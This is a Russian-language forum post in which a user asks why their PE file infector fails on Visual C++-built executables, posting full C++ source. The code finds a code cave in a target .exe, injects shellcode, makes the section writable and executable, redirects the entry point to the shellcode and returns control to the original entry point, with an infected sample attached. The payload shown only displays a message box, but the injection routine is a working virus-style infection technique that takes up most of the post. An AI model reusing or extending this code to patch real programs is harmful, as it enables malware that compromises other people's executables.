• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

Не получаетсяя заинъектить файл скомпиленный с помощью visual c++

SimiAist

New member
17.02.2023
2
0
BIT
0
Я пытаюсь заинъектить исполняемый файл шелкодом. Он просто ищет свободное место для себя а также изменяет поле IMAGE_OPTIONAL_HEADER.AddressOfEntryPoint. В конце шелкод меняет eip на чистый адрес[IMAGE_OPTIONAL_HEADER.AdressOfEntryPoint + IMAGE_OPTIONAL_HEADER.BaseAddress] предыдущей точки входа программы. Все замечательно работает если я не юзаю компилятор Microsoft Visual C++.
Вот что происходит если программа скомпилена с помощью Visual C++:
1677309072678.png

Когда дело доходит до ret получаю вот это:
1677309170478.png

Ну и непонятно что и почему, права необходимые есть:
1677309214168.png



Доп инфо : во вложении сам зараженный exe шник , ну а программа которая заражает:
Infected.h:
C++:
#pragma once
#include <windows.h>
#include <exception>

#define SHELLCODE_SIZE 65
#define db(x) __asm _emit x

bool isInfected(PIMAGE_DOS_HEADER pidh) {
    return ((pidh->e_minalloc == 0x13) && (pidh->e_maxalloc == 0x37));
}

void markAsinfected(PIMAGE_DOS_HEADER pidh) {
    pidh->e_minalloc = 0x13;
    pidh->e_maxalloc = 0x37;
}

class MappedFile {
private:
    HANDLE m_hFile;
    HANDLE m_hMapping;
    LPBYTE m_lpFile;

public:
    MappedFile(LPCWSTR szFileName) {
        m_hFile = CreateFileW(szFileName, FILE_ALL_ACCESS,
            0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (m_hFile == INVALID_HANDLE_VALUE) {
            throw std::exception("Can'topen target file");
        }

        DWORD dwFileSize = GetFileSize(m_hFile, NULL);
        m_hMapping = CreateFileMapping(m_hFile,
            NULL, PAGE_READWRITE, 0, 0, NULL);

        if (m_hMapping == NULL) {
            CloseHandle(m_hFile);
            throw std::exception("Can't create file mapping");
        }

        m_lpFile = LPBYTE(MapViewOfFile(m_hMapping, FILE_MAP_ALL_ACCESS, 0, 0, dwFileSize));
        if (m_lpFile == NULL) {
            CloseHandle(m_hMapping);
            CloseHandle(m_hFile);
            throw std::exception("Can't map view of file");
        }
    }

    LPBYTE getViewOfFile() {
        return m_lpFile;
    }

    ~MappedFile() {
        UnmapViewOfFile(m_lpFile);
        CloseHandle(m_hMapping);
        CloseHandle(m_hFile);
    }
};

class PEParser {
private:
    LPBYTE m_lpFile;
    PIMAGE_DOS_HEADER m_pidh;
    PIMAGE_NT_HEADERS m_pinh;
    PIMAGE_FILE_HEADER m_pifh;
    PIMAGE_OPTIONAL_HEADER m_pioh;
public:
    PEParser(LPBYTE lpFile) : m_lpFile(lpFile) {
        m_pidh = PIMAGE_DOS_HEADER(lpFile);
        if (m_pidh->e_magic != IMAGE_DOS_SIGNATURE) {
            throw std::exception("There's not executable file");
        }
       
        m_pinh = PIMAGE_NT_HEADERS(lpFile + m_pidh->e_lfanew);
        if (m_pinh -> Signature != IMAGE_NT_SIGNATURE) {
            throw std::exception("Thre's not executable file!");
        }
        m_pifh = PIMAGE_FILE_HEADER(&m_pinh->FileHeader);
        m_pioh = PIMAGE_OPTIONAL_HEADER(&m_pinh->OptionalHeader);
    }

    PIMAGE_DOS_HEADER getDosHeader() {
        return m_pidh;
    }

    PIMAGE_NT_HEADERS getNtHeaders() {
        return m_pinh;
    }

    PIMAGE_FILE_HEADER getFileHeader() {
        return m_pifh;
    }

    PIMAGE_OPTIONAL_HEADER getOptionalHeader() {
        return m_pioh;
    }

    int getNumberOfSections() {
        return m_pifh->NumberOfSections;
    }

    PIMAGE_SECTION_HEADER getSectionHeader(int nSection) {
        if (nSection > this->getNumberOfSections()) {
            return NULL;
        }
        return PIMAGE_SECTION_HEADER(m_lpFile + m_pidh->e_lfanew +
            sizeof(m_pinh->Signature) + sizeof(IMAGE_FILE_HEADER) +
            m_pifh->SizeOfOptionalHeader + sizeof(IMAGE_SECTION_HEADER) * (nSection - 1));
    }
};

typedef struct _CODE_CAVE {
    DWORD dwPosition; //смещение до пещеры кода относительно начала файла
    PIMAGE_SECTION_HEADER pish; //указатель на секцию с пещерой кода
} CODE_CAVE  , *PCODE_CAVE;

CODE_CAVE findCodeCave(LPBYTE lpFile, PEParser* ppeParser) {
    CODE_CAVE ccCave;
    DWORD dwCount = 0;
    ccCave.dwPosition = 0;
    ccCave.pish = NULL;

    for (int i = 1; i <= ppeParser->getNumberOfSections(); ++i) {
        ccCave.pish = ppeParser->getSectionHeader(i);
        for (int j = 0; j < ccCave.pish->SizeOfRawData; ++j) {
            if (*(lpFile + ccCave.pish->PointerToRawData + j) == 0x00) {
                dwCount++;
                if (dwCount == SHELLCODE_SIZE + 1) {
                    ccCave.dwPosition = j - SHELLCODE_SIZE + ccCave.pish->PointerToRawData + 1;
                    break;
                }
            }
            else {
                dwCount = 0;
            }
        }
        if (ccCave.dwPosition != 0) break;
    }
    if (dwCount == 0 || ccCave.dwPosition == 0) return CODE_CAVE{ 0 , NULL };
    return ccCave;
}

void __declspec(naked) shellcode() {
    __asm {
        pushad
        call routine

        routine :
            pop ebp
            sub ebp , offset routine
            push 0x00000010
            lea eax, [ebp + szCaption]
            push eax
            lea eax, [ebp + szText]
            push eax
            push 0
            mov eax, 0xAAAAAAAA
            call eax
            popad
            push 0xAAAAAAAA
            ret

        szText :
            db('I')
            db('n')
            db('f')
            db('e')
            db('c')
            db('t')
            db('e')
            db('d')
            db('!')
            db(0)

        szCaption:
            db('T')
            db('r')
            db('u')
            db('s')
            db('t')
            db('e')
            db('d')
            db(0)
    }
}

void modificateShellcode(LPVOID lpShellCode, DWORD dwOEP) {
    HMODULE hModule = LoadLibrary(L"user32.dll");
    LPVOID lpMessageBoxA = GetProcAddress(hModule, "MessageBoxA");

    for (int i = 0; i < SHELLCODE_SIZE; ++i) {
        if (*(LPDWORD(lpShellCode) + i) == 0xAAAAAAAA) {
            *(LPDWORD(lpShellCode) + i) = DWORD(lpMessageBoxA);
            FreeLibrary(hModule);
            break;
        }
    }

    for (int i = 0; i < SHELLCODE_SIZE; ++i) {
        if (*(LPDWORD(lpShellCode) + i) == 0xAAAAAAAA) {
            *(LPDWORD(lpShellCode) + i) = dwOEP;
            break;
        }
    }
}
main.cpp:
C++:
#include "Infected.h"
#include <iostream>


int main(int argc, wchar_t** argv, wchar_t** envp) {

    MappedFile* pmfTarget;
    try {
        pmfTarget = new MappedFile(L"C:\\Users\\User\\Desktop\\MyBigTest\\Project1\\Release\\Project1.exe");
    }
    catch (const std::exception& Exception) {
        std::wcout << L"[ERROR] " << Exception.what() << std::endl;
        std::wcout << "GetLastError() : " << GetLastError() << std::endl;
        return 1;
    }

    LPBYTE lpFile = pmfTarget->getViewOfFile();
    PEParser* ppeParser;
    try {
        ppeParser = new PEParser(lpFile);
    }
    catch (const std::exception& e) {
        std::wcout << L"[ERROR] " << e.what() << std::endl;
        std::wcout << "GetLastError() : " << GetLastError() << std::endl;
        delete pmfTarget;
        return 1;
    }

    PIMAGE_DOS_HEADER pidh = ppeParser->getDosHeader();
    PIMAGE_NT_HEADERS pinh = ppeParser->getNtHeaders();
    PIMAGE_FILE_HEADER pifh = ppeParser->getFileHeader();
    PIMAGE_OPTIONAL_HEADER pioh = ppeParser->getOptionalHeader();
    DWORD dwOEP = pioh->AddressOfEntryPoint + pioh->ImageBase;

    if (isInfected(pidh)) {
        std::wcout << L"File alredy infected!" << std::endl;
        delete ppeParser;
        delete pmfTarget;
        return 1;
    }

    CODE_CAVE ccCave = findCodeCave(lpFile, ppeParser);
    if ((ccCave.pish == NULL) || (ccCave.dwPosition == 0)) {
        std::wcout << L"[ERROR] Can't find code cave!" << std::endl;
        delete ppeParser;
        delete pmfTarget;
        return 1;
    }

    PIMAGE_SECTION_HEADER pish = ccCave.pish;
    DWORD dwPosition = ccCave.dwPosition;

    LPVOID lpShellCode = new char[SHELLCODE_SIZE];
    RtlSecureZeroMemory(lpShellCode, SHELLCODE_SIZE);
    memcpy(lpShellCode, shellcode, SHELLCODE_SIZE);
    std::cout << "Previus entry point[dwOEP =pioh->AddressOfEntryPoint + pioh->ImageBase] : " << std::hex << dwOEP << std::endl;
    modificateShellcode(lpShellCode, dwOEP);

    memcpy(LPBYTE(lpFile + dwPosition), lpShellCode, SHELLCODE_SIZE);
    pish->Characteristics |= IMAGE_SCN_MEM_WRITE |  IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
    pinh->OptionalHeader.AddressOfEntryPoint = dwPosition + pish->VirtualAddress - pish->PointerToRawData;
    markAsinfected(pidh);


    std::wcout << L"[SUCCESS] File successfuly infected!" << std::endl;

    delete[] lpShellCode;
    delete ppeParser;
    delete pmfTarget;
    return 0;
}
 

Вложения

  • Project1.zip
    5,4 КБ · Просмотры: 73
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!